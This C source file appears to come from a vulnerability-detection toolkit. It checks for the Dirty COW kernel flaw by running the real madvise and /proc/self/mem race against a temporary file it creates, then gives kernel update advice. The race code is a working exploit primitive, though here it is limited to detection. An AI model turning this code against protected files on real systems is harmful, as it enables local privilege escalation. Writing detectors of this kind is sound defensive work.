cve-toolkit

cve-2016-5195-procmem.c (5473B)

---

 /*
  * CVE-2016-5195 — Dirty COW (/proc/self/mem variant)
  *
  * The kernel's get_user_pages() in a copy-on-write race allows an
  * unprivileged user to write to read-only memory mappings that are backed
  * by a file.  This detector uses the /proc/self/mem write variant.
  *
  * Architecture (follows upstream dirtyc0w.c):
  *   - A temp file is filled with known bytes.
  *   - It is mapped MAP_PRIVATE|PROT_READ.
  *   - Thread 1: continuously calls madvise(MADV_DONTNEED) on the mapping.
  *   - Thread 2 (main): repeatedly seeks /proc/self/mem to the mapping's
  *     address and writes the poison byte.
  *   - After both threads finish, the file is read via pread to check
  *     whether the page cache was corrupted.
  *
  * Safe testing: creates a temporary file, attempts the COW page-cache
  * corruption, verifies the byte was overwritten in the cache, then
  * removes the temp file — leaving no system state modified.
  *
  * References:
  *   https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
  *   https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
  */
 #define _GNU_SOURCE
 #include <errno.h>
 #include <fcntl.h>
 #include <pthread.h>
 #include <stdint.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <unistd.h>
 
 #include "setup.h"
 
 /* Matches upstream: madvise(map, 100, MADV_DONTNEED) */
 #define MAP_SIZE   100
 #define MAGIC_ORIG 'X'
 #define MAGIC_COW  'Z'
 
 /* Number of lseek+write iterations per thread.
  * Upstream dirtyc0w.c uses 100 000 000.
  * We use a smaller count since we only need to detect — not fully
  * exploit — and we poll the page cache between iterations. */
 #define MAX_ATTEMPTS 1000
 
 static char        *g_map;
 static volatile int g_hit = 0;
 
 /*
  * madvise thread — continuously discards the page so the next access
  * triggers a page fault, which races against the /proc/self/mem write.
  * Mirrors upstream dirtyc0w.c madviseThread().
  */
 static void *madvise_thread(void *arg) {
   (void)arg;
   for (int i = 0; i < MAX_ATTEMPTS && !g_hit; i++) {
     madvise(g_map, MAP_SIZE, MADV_DONTNEED);
     /* force page fault */
     __asm__ volatile("" ::: "memory");
     (void)*g_map;
   }
   return NULL;
 }
 
 int detector_cve_2016_5195_procmem(struct cve_context *ctx) {
   int fd     = -1;
   int mem_fd = -1;
   int result = 0;
 
   /* 1. Create temp file with known bytes */
   char path[] = "/tmp/.cve_2016_5195_pm_XXXXXX";
   fd          = mkstemp(path);
   if (fd < 0) {
     if (ctx && ctx->verbose) fprintf(stderr, "[dirtycow-procmem] mkstemp: %s\n", strerror(errno));
     return 0;
   }
   unlink(path); /* fd keeps it alive */
 
   char buf[MAP_SIZE];
   memset(buf, MAGIC_ORIG, sizeof(buf));
   if (write(fd, buf, sizeof(buf)) != sizeof(buf)) {
     close(fd);
     return 0;
   }
   fsync(fd);
 
   /* 2. Map read-only, private (COW) — same as upstream */
   g_map = mmap(NULL, MAP_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
   if (g_map == MAP_FAILED) {
     close(fd);
     return 0;
   }
 
   /* Sanity: verify original content */
   for (int i = 0; i < MAP_SIZE; i++) {
     if (g_map[i] != MAGIC_ORIG) {
       munmap(g_map, MAP_SIZE);
       close(fd);
       return 0;
     }
   }
 
   /* 3. Open /proc/self/mem for writing */
   mem_fd = open("/proc/self/mem", O_RDWR);
   if (mem_fd < 0) {
     if (ctx && ctx->verbose) fprintf(stderr, "[dirtycow-procmem] open(/proc/self/mem): %s\n", strerror(errno));
     munmap(g_map, MAP_SIZE);
     close(fd);
     return 0;
   }
 
   /*
    * 4. Two-thread race — mirrors upstream dirtyc0w.c:
    *    Thread A (madviseThread): madvise + fault in a loop
    *    Thread B (main):          lseek + write to /proc/self/mem
    *
    * We also poll the page cache (via pread) between write attempts
    * so we can stop early if the race is won.
    */
   pthread_t thr;
   if (pthread_create(&thr, NULL, madvise_thread, NULL) != 0) {
     close(mem_fd);
     munmap(g_map, MAP_SIZE);
     close(fd);
     return 0;
   }
 
   char cow_byte = MAGIC_COW;
   for (int attempt = 0; attempt < MAX_ATTEMPTS && !g_hit; attempt++) {
     /* Reset file pointer to the mapping's virtual address */
     if (lseek(mem_fd, (off_t)(uintptr_t)g_map, SEEK_SET) < 0) continue;
 
     if (write(mem_fd, &cow_byte, 1) == 1) {
       /*
        * Check page cache via pread — this bypasses the COW
        * mapping and reads the actual cached page.  If the race
        * was won, the page cache will contain MAGIC_COW.
        */
       char cb;
       if (pread(fd, &cb, 1, 0) == 1 && cb == MAGIC_COW) {
         g_hit  = 1;
         result = 1;
         if (ctx && ctx->verbose)
           fprintf(stderr,
                   "[dirtycow-procmem] VULNERABLE: page cache "
                   "corrupted via /proc/self/mem (attempt %d)\n",
                   attempt + 1);
       }
     }
   }
 
   /* 5. Wait for madvise thread to finish and clean up */
   pthread_join(thr, NULL);
   close(mem_fd);
   munmap(g_map, MAP_SIZE);
   close(fd);
 
   return result;
 }
 
 __attribute__((constructor)) void detector_cve_2016_5195_procmem_setup(void) {
   detector_queue_append("CVE-2016-5195/procmem", "dirtycow",
                         "Update the Linux kernel to >= 4.8.3 / 4.7.9 / 4.4.26 or later.\n"
                         "  The fix is commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619.\n"
                         "  This variant does not require ptrace and works even when\n"
                         "  kernel.yama.ptrace_scope >= 1.",
                         detector_cve_2016_5195_procmem);
 }